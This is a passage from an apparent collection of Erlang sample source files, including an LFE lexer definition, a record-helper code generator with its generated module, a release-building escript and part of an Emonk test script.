heart,\n            init,\n            kernel_config,\n            kernel_refc,\n            kernel_sup,\n            logger,\n            logger_handler_watcher,\n            logger_sup,\n            net_kernel,\n            net_sup,\n            rex,\n            user,\n            os_server,\n            ddll_server,\n            erl_epmd,\n            inet_db,\n            pg]},\n        {applications, []},\n        {env, [{logger_level, notice},\n            {logger_sasl_compatible, false},\n            {net_tickintensity, 4},\n            {net_ticktime, 60},\n            {prevent_overlapping_partitions, true},\n            {shell_docs_ansi,auto}\n        ]},\n        {mod, {kernel, []}},\n        {runtime_dependencies, [\"erts-@OTP-18248@\", \"stdlib-@OTP-17932@\",\n\"sasl-3.0\", \"crypto-5.0\"]}\n]\n}.\n"
  },
  {
    "path": "samples/Erlang/lfe_scan.xrl",
    "content": "%% Copyright (c) 2008-2013 Robert Virding\n%%\n%% Licensed under the Apache License, Version 2.0 (the \"License\");\n%% you may not use this file except in compliance with the License.\n%% You may obtain a copy of the License at\n%%\n%%     http://www.apache.org/licenses/LICENSE-2.0\n%%\n%% Unless required by applicable law or agreed to in writing, software\n%% distributed under the License is distributed on an \"AS IS\" BASIS,\n%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n%% See the License for the specific language governing permissions and\n%% limitations under the License.\n\n%% File    : lfe_scan.xrl\n%% Author  : Robert Virding\n%% Purpose : Token definitions for Lisp Flavoured Erlang.\n\nDefinitions.\nB    = [01]\nO    = [0-7]\nD    = [0-9]\nH    = [0-9a-fA-F]\nB36  = [0-9a-zA-Z]\nU    = [A-Z]\nL    = [a-z]\nA    = ({U}|{L})\nDEL  = [][()}{\";\\000-\\s]\nSYM  = [^][()}{\";\\000-\\s\\177-\\237]\nSSYM = [^][()}{\"|;#`',\\000-\\s\\177-\\237]\nWS   = ([\\000-\\s]|;[^\\n]*)\n\nRules.\n%% Bracketed Comments using #| foo |#\n#{D}*\\|[^\\|]*\\|+([^#\\|][^\\|]*\\|+)*# :\n        block_comment(string:substr(TokenChars, 3)).\n\n%% Separators\n'               :    {token,{'\\'',TokenLine}}.\n`               :    {token,{'`',TokenLine}}.\n,               :    {token,{',',TokenLine}}.\n,@              :    {token,{',@',TokenLine}}.\n\\.              :    {token,{'.',TokenLine}}.\n[][()}{]        :    {token,{list_to_atom(TokenChars),TokenLine}}.\n\n#{D}*[bB]\\(     :    {token,{'#B(',TokenLine}}.\n#{D}*[mM]\\(     :    {token,{'#M(',TokenLine}}.\n#{D}*\\(         :    {token,{'#(',TokenLine}}.\n#{D}*\\.         :    {token,{'#.',TokenLine}}.\n\n#{D}*`          :    {token,{'#`',TokenLine}}.\n#{D}*;          :    {token,{'#;',TokenLine}}.\n#{D}*,          :    {token,{'#,',TokenLine}}.\n#{D}*,@         :    {token,{'#,@',TokenLine}}.\n\n%% Characters\n#{D}*\\\\(x{H}+|.) :   char_token(skip_past(TokenChars, $\\\\, $\\\\), TokenLine).\n\n%% Based numbers\n#{D}*\\*{SYM}+   :    base_token(skip_past(TokenChars, $*, $*), 2, TokenLine).\n#{D}*[bB]{SYM}+ :    base_token(skip_past(TokenChars, $b, $B), 2, TokenLine).\n#{D}*[oO]{SYM}+ :    base_token(skip_past(TokenChars, $o, $O), 8, TokenLine).\n#{D}*[dD]{SYM}+ :    base_token(skip_past(TokenChars, $d, $D), 10, TokenLine).\n#{D}*[xX]{SYM}+ :    base_token(skip_past(TokenChars, $x, $X), 16, TokenLine).\n#{D}*[rR]{SYM}+ :\n        %% Scan over digit chars to get base.\n        {Base,[_|Ds]} = base1(tl(TokenChars), 10, 0),\n        base_token(Ds, Base, TokenLine).\n\n%% String\n\"(\\\\x{H}+;|\\\\.|[^\"\\\\])*\" :\n        %% Strip quotes.\n        S = string:substr(TokenChars, 2, TokenLen - 2),\n        {token,{string,TokenLine,chars(S)}}.\n%% Binary string\n#\"(\\\\x{H}+;|\\\\.|[^\"\\\\])*\" :\n        %% Strip quotes.\n        S = string:substr(TokenChars, 3, TokenLen - 3),\n        Bin = unicode:characters_to_binary(chars(S), utf8, utf8),\n        {token,{binary,TokenLine,Bin}}.\n%% Symbols\n\\|(\\\\x{H}+;|\\\\.|[^|\\\\])*\\| :\n        %% Strip quotes.\n        S = string:substr(TokenChars, 2, TokenLen - 2),\n        symbol_token(chars(S), TokenLine).\n%% Funs\n#'{SSYM}{SYM}*/{D}+ :\n        %% Strip sharpsign single-quote.\n        FunStr = string:substr(TokenChars,3),\n        {token,{'#\\'',TokenLine,FunStr}}.\n%% Atoms\n[+-]?{D}+       :\n        case catch {ok,list_to_integer(TokenChars)} of\n            {ok,I} -> {token,{number,TokenLine,I}};\n            _ -> {error,\"illegal integer\"}\n        end.\n[+-]?{D}+\\.{D}+([eE][+-]?{D}+)? :\n        case catch {ok,list_to_float(TokenChars)} of\n            {ok,F} -> {token,{number,TokenLine,F}};\n            _ -> {error,\"illegal float\"}\n        end.\n{SSYM}{SYM}*    :\n        symbol_token(TokenChars, TokenLine).\n{WS}+           :    skip_token.\n\nErlang code.\n%% Copyright (c) 2008-2013 Robert Virding\n%%\n%% Licensed under the Apache License, Version 2.0 (the \"License\");\n%% you may not use this file except in compliance with the License.\n%% You may obtain a copy of the License at\n%%\n%%     http://www.apache.org/licenses/LICENSE-2.0\n%%\n%% Unless required by applicable law or agreed to in writing, software\n%% distributed under the License is distributed on an \"AS IS\" BASIS,\n%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n%% See the License for the specific language governing permissions and\n%% limitations under the License.\n\n%% File    : lfe_scan.erl\n%% Author  : Robert Virding\n%% Purpose : Token definitions for Lisp Flavoured Erlang.\n\n-export([start_symbol_char/1,symbol_char/1]).\n\n-import(string, [substr/2,substr/3]).\n\n%% start_symbol_char(Char) -> true | false.\n%% symbol_char(Char) -> true | false.\n%%  Define start symbol chars and symbol chars.\n\nstart_symbol_char($#) -> false;\nstart_symbol_char($`) -> false;\nstart_symbol_char($') -> false;                 %'\nstart_symbol_char($,) -> false;\nstart_symbol_char($|) -> false;                 %Symbol quote character\nstart_symbol_char(C) -> symbol_char(C).\n\nsymbol_char($() -> false;\nsymbol_char($)) -> false;\nsymbol_char($[) -> false;\nsymbol_char($]) -> false;\nsymbol_char(${) -> false;\nsymbol_char($}) -> false;\nsymbol_char($\") -> false;\nsymbol_char($;) -> false;\nsymbol_char(C) -> ((C > $\\s) and (C =< $~)) orelse (C > $\\240).\n\n%% symbol_token(Chars, Line) -> {token,{symbol,Line,Symbol}} | {error,E}.\n%%  Build a symbol from list of legal characters, else error.\n\nsymbol_token(Cs, L) ->\n    case catch {ok,list_to_atom(Cs)} of\n        {ok,S} -> {token,{symbol,L,S}};\n        _ -> {error,\"illegal symbol\"}\n    end.\n\n%% base_token(Chars, Base, Line) -> Integer.\n%%  Convert a string of Base characters into a number. We only allow\n%%  base betqeen 2 and 36, and an optional sign character first.\n\nbase_token(_, B, _) when B < 2; B > 36 ->\n    {error,\"illegal number base\"};\nbase_token([$+|Cs], B, L) -> base_token(Cs, B, +1, L);\nbase_token([$-|Cs], B, L) -> base_token(Cs, B, -1, L);\nbase_token(Cs, B, L) -> base_token(Cs, B, +1, L).\n\nbase_token(Cs, B, S, L) ->\n    case base1(Cs, B, 0) of\n        {N,[]} -> {token,{number,L,S*N}};\n        {_,_} -> {error,\"illegal based number\"}\n    end.\n\nbase1([C|Cs], Base, SoFar) when C >= $0, C =< $9, C < Base + $0 ->\n    Next = SoFar * Base + (C - $0),\n    base1(Cs, Base, Next);\nbase1([C|Cs], Base, SoFar) when C >= $a, C =< $z, C < Base + $a - 10 ->\n    Next = SoFar * Base + (C - $a + 10),\n    base1(Cs, Base, Next);\nbase1([C|Cs], Base, SoFar) when C >= $A, C =< $Z, C < Base + $A - 10 ->\n    Next = SoFar * Base + (C - $A + 10),\n    base1(Cs, Base, Next);\nbase1([C|Cs], _Base, SoFar) -> {SoFar,[C|Cs]};\nbase1([], _Base, N) -> {N,[]}.\n\n-define(IS_UNICODE(C), ((C >= 0) and (C =< 16#10FFFF))).\n\n%% char_token(InputChars, Line) -> {token,{number,L,N}} | {error,E}.\n%%  Convert an input string into the corresponding character. For a\n%%  sequence of hex characters we check resultant is code is in the\n%%  unicode range.\n\nchar_token([$x,C|Cs], L) ->\n    case base1([C|Cs], 16, 0) of\n        {N,[]} when ?IS_UNICODE(N) -> {token,{number,L,N}};\n        _ -> {error,\"illegal character\"}\n    end;\nchar_token([C], L) -> {token,{number,L,C}}.\n\n%% chars(InputChars) -> Chars.\n%%  Convert an input string into the corresponding string characters.\n%%  We know that the input string is correct.\n\nchars([$\\\\,$x,C|Cs0]) ->\n    case hex_char(C) of\n        true ->\n            case base1([C|Cs0], 16, 0) of\n                {N,[$;|Cs1]} -> [N|chars(Cs1)];\n                _Other -> [escape_char($x)|chars([C|Cs0])]\n            end;\n        false -> [escape_char($x)|chars([C|Cs0])]\n    end;\nchars([$\\\\,C|Cs]) -> [escape_char(C)|chars(Cs)];\nchars([C|Cs]) -> [C|chars(Cs)];\nchars([]) -> [].\n\nhex_char(C) when C >= $0, C =< $9 -> true;\nhex_char(C) when C >= $a, C =< $f -> true;\nhex_char(C) when C >= $A, C =< $F -> true;\nhex_char(_) -> false.\n\nescape_char($b) -> $\\b;                %\\b = BS\nescape_char($t) -> $\\t;                %\\t = TAB\nescape_char($n) -> $\\n;                %\\n = LF\nescape_char($v) -> $\\v;                %\\v = VT\nescape_char($f) -> $\\f;                %\\f = FF\nescape_char($r) -> $\\r;                %\\r = CR\nescape_char($e) -> $\\e;                %\\e = ESC\nescape_char($s) -> $\\s;                %\\s = SPC\nescape_char($d) -> $\\d;                %\\d = DEL\nescape_char(C) -> C.\n\n%% Block Comment:\n%%  Provide a sensible error when people attempt to include nested\n%%  comments because currently the parser cannot process them without\n%%  a rebuild. But simply exploding on a '#|' is not going to be that\n%%  helpful.\n\nblock_comment(TokenChars) ->\n    %% Check we're not opening another comment block.\n    case string:str(TokenChars, \"#|\") of\n        0 -> skip_token; %% No nesting found\n        _ -> {error, \"illegal nested block comment\"}\n    end.\n\n%% skip_until(String, Char1, Char2) -> String.\n%% skip_past(String, Char1, Char2) -> String.\n\n%% skip_until([C|_]=Cs, C1, C2) when C =:= C1 ; C =:= C2 -> Cs;\n%% skip_until([_|Cs], C1, C2) -> skip_until(Cs, C1, C2);\n%% skip_until([], _, _) -> [].\n\nskip_past([C|Cs], C1, C2) when C =:= C1 ; C =:= C2 -> Cs;\nskip_past([_|Cs], C1, C2) -> skip_past(Cs, C1, C2);\nskip_past([], _, _) -> [].\n"
  },
  {
    "path": "samples/Erlang/record_helper.erl",
    "content": "%% For each header file, it scans thru all records and create helper functions\n%% Helper functions are:\n%% setters, getters, fields, fields_atom, type\n\n-module(record_helper).\n\n-export([make/1, make/2]).\n\nmake(HeaderFiles) ->\n    make([ atom_to_list(X) || X <- HeaderFiles ], \".\").\n\n%% .hrl file, relative to current dir\nmake(HeaderFiles, OutDir) ->\n    ModuleName = \"record_utils\",\n    HeaderComment = \"%% This is auto generated file. Please don't edit it\\n\\n\",\n    ModuleDeclaration = \"-module(\" ++ ModuleName ++ \").\\n\"\n\t++ \"-author(\\\"trung@mdkt.org\\\").\\n\"\n\t++ \"-compile(export_all).\\n\"\n\t++ [ \"-include(\\\"\" ++ X ++ \"\\\").\\n\" || X <- HeaderFiles ]\n\t++ \"\\n\",\n    Src = format_src(lists:sort(lists:flatten([read(X) || X <- HeaderFiles] ++ [generate_type_default_function()]))),\n    file:write_file(OutDir++\"/\" ++ ModuleName ++ \".erl\", list_to_binary([HeaderComment, ModuleDeclaration, Src])).\n\nread(HeaderFile) ->\n    try epp:parse_file(HeaderFile,[],[]) of\n\t{ok, Tree} ->\n\t    parse(Tree);\n\t{error, Error} ->\n\t    {error, {\"Error parsing header file\", HeaderFile, Error}}\n    catch\n\t_:Error ->\n\t    {catched_error, {\"Error parsing header file\", HeaderFile, Error}}\n    end.\n\nformat_src([{_, _, _, Src}|T]) when length(T) == 0 ->\n    Src ++ \".\\n\\n\";\nformat_src([{Type, _, _, Src}|[{Type, A, B, NSrc}|T]]) ->\n    Src ++ \";\\n\\n\" ++ format_src([{Type, A, B, NSrc}|T]);\nformat_src([{_Type, _, _, Src}|[{Type1, A, B, NSrc}|T]]) ->\n    Src ++ \".\\n\\n\" ++ format_src([{Type1, A, B, NSrc}|T]);\nformat_src([{_, _, _, Src}|T]) when length(T) > 0 ->\n    Src ++ \";\\n\\n\" ++ format_src(T).\n\nparse(Tree) ->\n    [ parse_record(X) || X <- Tree ].\n\nparse_record({attribute, _, record, RecordInfo}) ->\n    {RecordName, RecordFields} = RecordInfo,\n    if\n\tlength(RecordFields) == 1 ->\n\t    lists:flatten([ generate_setter_getter_function(RecordName, X) || X <- RecordFields ]\n\t\t  ++ [generate_type_function(RecordName)]);\n\ttrue ->\n\t    lists:flatten([generate_fields_function(RecordName, RecordFields)]\n\t\t\t  ++ [generate_fields_atom_function(RecordName, RecordFields)]\n\t\t\t  ++ [ generate_setter_getter_function(RecordName, X) || X <- RecordFields ]\n\t\t  ++ [generate_type_function(RecordName)])\n    end;\nparse_record(_) -> [].\n\nparse_field_name({record_field, _, {atom, _, FieldName}}) ->\n    {field, \"\\\"\" ++ atom_to_list(FieldName) ++ \"\\\"\"};\nparse_field_name({record_field, _, {atom, _, _FieldName}, {record, _, ParentRecordName, _}}) ->\n\t{parent_field, \"fields(\" ++ atom_to_list(ParentRecordName) ++ \")\"};\nparse_field_name({record_field, _, {atom, _, FieldName}, _}) ->\n    {field, \"\\\"\" ++ atom_to_list(FieldName) ++ \"\\\"\"}.\n\nparse_field_name_atom({record_field, _, {atom, _, FieldName}}) ->\n    atom_to_list(FieldName);\nparse_field_name_atom({record_field, _, {atom, _, _FieldName}, {record, _, ParentRecordName, _}}) ->\n\t\"fields_atom(\" ++ atom_to_list(ParentRecordName) ++ \")\";\nparse_field_name_atom({record_field, _, {atom, _, FieldName}, _}) ->\n    atom_to_list(FieldName).\n\nconcat([], _S) -> [];\nconcat([F|T], _S) when length(T) == 0 -> F;\nconcat([F|T], S) -> F ++ S ++ concat(T, S).\n\nconcat_ext([], _S) -> [];\nconcat_ext([F|T], S) -> F ++ S ++ concat_ext(T, S).\n\nparse_field([], AccFields, AccParentFields) -> concat_ext(AccParentFields, \" ++ \") ++ \"[\" ++ concat(AccFields, \", \") ++ \"]\";\n%parse_field([F|T], AccFields, AccParentFields) when length(T) == 0 -> parse_field_name(F);\nparse_field([F|T], AccFields, AccParentFields) ->\n\tcase parse_field_name(F) of\n\t\t{field, Field} ->\n\t\t\tparse_field(T, AccFields ++ [Field], AccParentFields);\n\t\t{parent_field, PField} ->\n\t\t\tparse_field(T, AccFields, AccParentFields ++ [PField])\n\tend.\n\nparse_field_atom([F|T]) when length(T) == 0 -> parse_field_name_atom(F);\nparse_field_atom([F|T]) ->\n    parse_field_name_atom(F) ++ \", \" ++ parse_field_atom(T).\n\ngenerate_type_default_function() ->\n\t{type, zzz, 99, \"type(_) -> undefined\"}.\n\ngenerate_type_function(RecordName) ->\n    {type, RecordName, 0, \"type(Obj) when is_record(Obj, \" ++ atom_to_list(RecordName) ++ \") -> \" ++ atom_to_list(RecordName)}.\n\ngenerate_fields_function(RecordName, RecordFields) ->\n    Fields = parse_field(RecordFields, [], []),\n    {field, RecordName, 1, \"fields(\" ++ atom_to_list(RecordName) ++ \") -> \\n\\t\" ++ Fields}.\n\ngenerate_fields_atom_function(RecordName, RecordFields) ->\n    Fields = parse_field_atom(RecordFields),\n    {field_atom, RecordName, 1, \"fields_atom(\" ++ atom_to_list(RecordName) ++ \") -> \\n\\tlists:flatten([\" ++ Fields ++ \"])\"}.\n\ngenerate_setter_getter_function(RecordName, {record_field, _, {atom, _, FieldName}, {record, _, ParentRecordName, _}}) ->\n    to_setter_getter_function(atom_to_list(RecordName), atom_to_list(FieldName), atom_to_list(ParentRecordName));\ngenerate_setter_getter_function(RecordName, {record_field, _, {atom, _, FieldName}, _}) ->\n    to_setter_getter_function(atom_to_list(RecordName), atom_to_list(FieldName));\ngenerate_setter_getter_function(RecordName, {record_field, _, {atom, _, FieldName}}) ->\n    to_setter_getter_function(atom_to_list(RecordName), atom_to_list(FieldName)).\n\nto_setter_getter_function(RecordName, FieldName) ->\n    [{setter, RecordName, 1, \"set(Obj, \" ++ FieldName ++ \", Value) when is_record(Obj, \" ++ RecordName ++ \") -> \\n\"\n\t++ \"\\tNewObj = Obj#\" ++ RecordName ++ \"{\" ++ FieldName ++ \" = Value},\\n\"\n\t++ \"\\t{ok, NewObj, {\" ++ FieldName ++ \", Value}}\"},\n\t{getter, RecordName, 1, \"get(Obj, \" ++ FieldName ++ \") when is_record(Obj, \" ++ RecordName ++ \") -> \\n\"\n\t++ \"\\t{ok, Obj#\" ++ RecordName ++ \".\" ++ FieldName ++ \"}\"}\n\t].\n\nto_setter_getter_function(RecordName, FieldName, ParentRecordName) ->\n    [{setter, RecordName, 2, \"set(Obj, \" ++ FieldName ++ \", Value) when is_record(Obj, \" ++ RecordName ++ \") and is_record(Value, \" ++ ParentRecordName ++ \") -> \\n\"\n     ++ \"\\tNewObj = Obj#\" ++ RecordName ++ \"{\" ++ FieldName ++ \" = Value},\\n\"\n     ++ \"\\t{ok, NewObj, {\" ++ FieldName ++ \", Value}};\\n\\n\"\n     ++ \"set(Obj, ParentProperty, Value) when is_record(Obj, \" ++ RecordName ++ \") and is_atom(ParentProperty) -> \\n\"\n     ++ \"\\t{ok, NewParentObject, _} = set(Obj#\" ++ RecordName ++ \".parent, ParentProperty, Value),\\n\"\n     ++ \"\\tset(Obj, parent, NewParentObject)\"},\n\t{getter, RecordName, 2, \"get(Obj, \" ++ FieldName ++ \") when is_record(Obj, \" ++ RecordName ++ \") -> \\n\"\n\t ++ \"\\t{ok, Obj#\" ++ RecordName ++ \".\" ++ FieldName ++ \"};\\n\\n\"\n     ++ \"get(Obj, ParentProperty) when is_record(Obj, \" ++ RecordName ++ \") and is_atom(ParentProperty) -> \\n\"\n     ++ \"\\tget(Obj#\" ++ RecordName ++ \".parent, ParentProperty)\"}\n\t]."
  },
  {
    "path": "samples/Erlang/record_utils.erl",
    "content": "%% This is auto generated file. Please don't edit it\n\n-module(record_utils).\n-compile(export_all).\n-include(\"messages.hrl\").\n\nfields(abstract_message) ->\n\t[\"clientId\", \"destination\", \"messageId\", \"timestamp\", \"timeToLive\", \"headers\", \"body\"];\n\nfields(async_message) ->\n\tfields(abstract_message) ++ [\"correlationId\", \"correlationIdBytes\"].\n\nfields_atom(abstract_message) ->\n\tlists:flatten([clientId, destination, messageId, timestamp, timeToLive, headers, body]);\n\nfields_atom(async_message) ->\n\tlists:flatten([fields_atom(abstract_message), correlationId, correlationIdBytes]).\n\nget(Obj, body) when is_record(Obj, abstract_message) ->\n\t{ok, Obj#abstract_message.body};\n\nget(Obj, clientId) when is_record(Obj, abstract_message) ->\n\t{ok, Obj#abstract_message.clientId};\n\nget(Obj, destination) when is_record(Obj, abstract_message) ->\n\t{ok, Obj#abstract_message.destination};\n\nget(Obj, headers) when is_record(Obj, abstract_message) ->\n\t{ok, Obj#abstract_message.headers};\n\nget(Obj, messageId) when is_record(Obj, abstract_message) ->\n\t{ok, Obj#abstract_message.messageId};\n\nget(Obj, timeToLive) when is_record(Obj, abstract_message) ->\n\t{ok, Obj#abstract_message.timeToLive};\n\nget(Obj, timestamp) when is_record(Obj, abstract_message) ->\n\t{ok, Obj#abstract_message.timestamp};\n\nget(Obj, correlationId) when is_record(Obj, async_message) ->\n\t{ok, Obj#async_message.correlationId};\n\nget(Obj, correlationIdBytes) when is_record(Obj, async_message) ->\n\t{ok, Obj#async_message.correlationIdBytes};\n\nget(Obj, parent) when is_record(Obj, async_message) ->\n\t{ok, Obj#async_message.parent};\n\nget(Obj, ParentProperty) when is_record(Obj, async_message) and is_atom(ParentProperty) ->\n\tget(Obj#async_message.parent, ParentProperty).\n\nset(Obj, body, Value) when is_record(Obj, abstract_message) ->\n\tNewObj = Obj#abstract_message{body = Value},\n\t{ok, NewObj, {body, Value}};\n\nset(Obj, clientId, Value) when is_record(Obj, abstract_message) ->\n\tNewObj = Obj#abstract_message{clientId = Value},\n\t{ok, NewObj, {clientId, Value}};\n\nset(Obj, destination, Value) when is_record(Obj, abstract_message) ->\n\tNewObj = Obj#abstract_message{destination = Value},\n\t{ok, NewObj, {destination, Value}};\n\nset(Obj, headers, Value) when is_record(Obj, abstract_message) ->\n\tNewObj = Obj#abstract_message{headers = Value},\n\t{ok, NewObj, {headers, Value}};\n\nset(Obj, messageId, Value) when is_record(Obj, abstract_message) ->\n\tNewObj = Obj#abstract_message{messageId = Value},\n\t{ok, NewObj, {messageId, Value}};\n\nset(Obj, timeToLive, Value) when is_record(Obj, abstract_message) ->\n\tNewObj = Obj#abstract_message{timeToLive = Value},\n\t{ok, NewObj, {timeToLive, Value}};\n\nset(Obj, timestamp, Value) when is_record(Obj, abstract_message) ->\n\tNewObj = Obj#abstract_message{timestamp = Value},\n\t{ok, NewObj, {timestamp, Value}};\n\nset(Obj, correlationId, Value) when is_record(Obj, async_message) ->\n\tNewObj = Obj#async_message{correlationId = Value},\n\t{ok, NewObj, {correlationId, Value}};\n\nset(Obj, correlationIdBytes, Value) when is_record(Obj, async_message) ->\n\tNewObj = Obj#async_message{correlationIdBytes = Value},\n\t{ok, NewObj, {correlationIdBytes, Value}};\n\nset(Obj, parent, Value) when is_record(Obj, async_message) and is_record(Value, abstract_message) ->\n\tNewObj = Obj#async_message{parent = Value},\n\t{ok, NewObj, {parent, Value}};\n\nset(Obj, ParentProperty, Value) when is_record(Obj, async_message) and is_atom(ParentProperty) ->\n\t{ok, NewParentObject, _} = set(Obj#async_message.parent, ParentProperty, Value),\n\tset(Obj, parent, NewParentObject).\n\ntype(Obj) when is_record(Obj, abstract_message) -> abstract_message;\n\ntype(Obj) when is_record(Obj, async_message) -> async_message;\n\ntype(_) -> undefined."
  },
  {
    "path": "samples/Erlang/release",
    "content": "#!/usr/bin/env escript\n%%!\n%-*-Mode:erlang;coding:utf-8;tab-width:4;c-basic-offset:4;indent-tabs-mode:()-*-\n% ex: set ft=erlang fenc=utf-8 sts=4 ts=4 sw=4 et:\n%%%\n%%%------------------------------------------------------------------------\n%%% BSD LICENSE\n%%%\n%%% Copyright (c) 2013, Michael Truog <mjtruog at gmail dot com>\n%%% All rights reserved.\n%%%\n%%% Redistribution and use in source and binary forms, with or without\n%%% modification, are permitted provided that the following conditions are met:\n%%%\n%%%     * Redistributions of source code must retain the above copyright\n%%%       notice, this list of conditions and the following disclaimer.\n%%%     * Redistributions in binary form must reproduce the above copyright\n%%%       notice, this list of conditions and the following disclaimer in\n%%%       the documentation and/or other materials provided with the\n%%%       distribution.\n%%%     * All advertising materials mentioning features or use of this\n%%%       software must display the following acknowledgment:\n%%%         This product includes software developed by Michael Truog\n%%%     * The name of the author may not be used to endorse or promote\n%%%       products derived from this software without specific prior\n%%%       written permission\n%%%\n%%% THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n%%% CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n%%% INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n%%% OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n%%% DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n%%% CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n%%% SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n%%% BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n%%% SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n%%% INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n%%% WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n%%% NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n%%% OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n%%% DAMAGE.\n%%%------------------------------------------------------------------------\n\n-author('mjtruog [at] gmail (dot) com').\n\n-mode(compile).\n\nmain(_) ->\n    {ok,\n     [{sys, _} = RelToolConfig,\n      {target_dir, TargetDir},\n      {overlay, OverlayConfig}]} = file:consult(\"reltool.config\"),\n    {ok, Spec} = reltool:get_target_spec([RelToolConfig]),\n    case file:make_dir(TargetDir) of\n        ok ->\n            ok;\n        {error, eexist} ->\n            io:format(\"release already exists? (~p)~n\", [TargetDir]),\n            exit_code(1)\n    end,\n    ok = reltool:eval_target_spec(Spec, code:root_dir(), TargetDir),\n    ok = process_overlay(RelToolConfig, TargetDir, OverlayConfig),\n    exit_code(0).\n\nshell(Command, Arguments) ->\n    CommandSuffix = \" && echo 0 || echo 1\",\n    case lists:reverse(os:cmd(lists:flatten(\n        io_lib:format(Command ++ CommandSuffix, Arguments)))) of\n        [_, $0 | _] ->\n            ok;\n        [_, $1 | _] ->\n            io:format(\"\\\"~s\\\" failed!~n\", [io_lib:format(Command, Arguments)]),\n            error\n    end.\n\nboot_rel_vsn({sys, Config} = _RelToolConfig) ->\n    {rel, _Name, Ver, _} = proplists:lookup(rel, Config),\n    Ver.\n\n%% minimal parsing for handling mustache syntax\nmustache(Body, Context) ->\n    mustache(Body, \"\", Context).\nmustache([], Result, _Context) ->\n    lists:reverse(Result);\nmustache([${, ${ | KeyStr], Result, Context) ->\n    mustache_key(KeyStr, \"\", Result, Context);\nmustache([C | Rest], Result, Context) ->\n    mustache(Rest, [C | Result], Context).\nmustache_key([$}, $} | Rest], KeyStr, Result, Context) ->\n    Key = erlang:list_to_existing_atom(lists:reverse(KeyStr)),\n    {ok, Value} = dict:find(Key, Context),\n    mustache(Rest, lists:reverse(Value) ++ Result, Context);\nmustache_key([C | Rest], KeyStr, Result, Context) ->\n    mustache_key(Rest, [C | KeyStr], Result, Context).\n\n%% support minimal overlay based on rebar overlays\nprocess_overlay(RelToolConfig, TargetDir, OverlayConfig) ->\n    BootRelVsn = boot_rel_vsn(RelToolConfig),\n    OverlayVars =\n        dict:from_list([{erts_vsn, \"erts-\" ++ erlang:system_info(version)},\n                        {rel_vsn, BootRelVsn},\n                        {target_dir, TargetDir},\n                        {hostname, net_adm:localhost()}]),\n    {ok, BaseDir} = file:get_cwd(),\n    execute_overlay(OverlayConfig, OverlayVars, BaseDir, TargetDir).\n\nexecute_overlay([], _Vars, _BaseDir, _TargetDir) ->\n    ok;\nexecute_overlay([{mkdir, Out} | Rest], Vars, BaseDir, TargetDir) ->\n    OutDir = mustache(filename:join(TargetDir, Out), Vars),\n    ok = shell(\"mkdir -p ~s\", [OutDir]),\n    execute_overlay(Rest, Vars, BaseDir, TargetDir);\nexecute_overlay([{copy, In, Out} | Rest], Vars, BaseDir, TargetDir) ->\n    InFile = mustache(filename:join(BaseDir, In), Vars),\n    OutFile = mustache(filename:join(TargetDir, Out), Vars),\n    true = filelib:is_file(InFile),\n    ok = shell(\"cp -R ~s ~s\", [InFile, OutFile]),\n    execute_overlay(Rest, Vars, BaseDir, TargetDir).\n\nexit_code(ExitCode) ->\n    erlang:halt(ExitCode, [{flush, true}]).\n"
  },
  {
    "path": "samples/Erlang/sample.app.src",
    "content": "{application, sample,\n [{description, \"sample app\"},\n  {vsn, \"1.0.0\"},\n  {registered, []},\n  {mod, {sample_app, []}},\n  {applications, [kernel, stdlib]},\n  {env, []},\n  {modules, []}]}.\n"
  },
  {
    "path": "samples/Erlang/single-context.es",
    "content": "#! /usr/bin/env escript\n% This file is part of Emonk released under the MIT license. \n% See the LICENSE file for more information.\n\nmain([]) ->\n\tstart(64, 1000);\nmain([N]) ->\n\tstart(list_to_integer(N), 1000);\nmain([N, M]) ->\n\tstart(list_to_integer(N), list_to_integer(M)).\n\n\nstart(N, M) ->\n\tcode:add_pathz(\"test\"),\n\tcode:add_pathz(\"ebin\"),\n\t{ok, Ctx} = emonk:create_ctx(),\n\t{ok, undefined} = emonk:eval(Ctx, js()),\n\trun(Ctx, N, M),\n\twait(N).\n\nrun(_, 0, _) ->\n\tok;\nrun(Ctx, N, M) ->\n\tSelf = self(),\n\tPid = spawn(fun() -> do_js(Self, Ctx, M) end),\n\tio:format(\"Spawned: ~p~n\", [Pid]),\n\trun(Ctx, N-1, M).\n\nwait(0) ->\n\tok;\nwait(N) ->\n\treceive\n\t\t{finished, Pid} -> ok\n\tend,\n\tio:format(\"Finished: ~p~n\", [Pid]),\n\twait(N-1).\n\ndo_js(Parent, _, 0) ->\n\tParent ! {finished, self()};\ndo_js(Parent, Ctx, M) ->\n\tio:format(\"Running: ~p~n\", [M]),\n\tTest = random_test(),\n\t{ok, [Resp]} = emonk:call(Ctx, <<\"f\">>, [Test]),\n\tSorted = sort(Resp),\n\ttrue = Test == Sorted,\n\tdo_js(Parent, Ctx, M-1).\n\njs() -> \n\t<<\"var f = function(x) {return [x];};\">>.\n\nrandom_test() ->\n\tTests = [\n\t\tnull,\n\t\ttrue,\n\t\tfalse,\n\t\t1,\n\t\t-1,\n\t\t3.1416,\n\t\t-3.1416,\n\t\t12.0e10,\n\t\t1.234E+10,\n\t\t-1.234E-10,\n\t\t10.0,\n\t\t123.456,\n\t\t10.0,\n\t\t<<\"foo\">>,\n\t\t<<\"foo\", 5, \"bar\">>,\n\t\t<<\"\">>,\n\t\t<<\"\\n\\n\\n\">>,\n\t\t<<\"\\\" \\b\\f\\r\\n\\t\\\"\">>,\n\t\t{[]},\n\t\t{[{<<\"foo\">>, <<\"bar\">>}]},\n\t\t{[{<<\"foo\">>, <<\"bar\">>}, 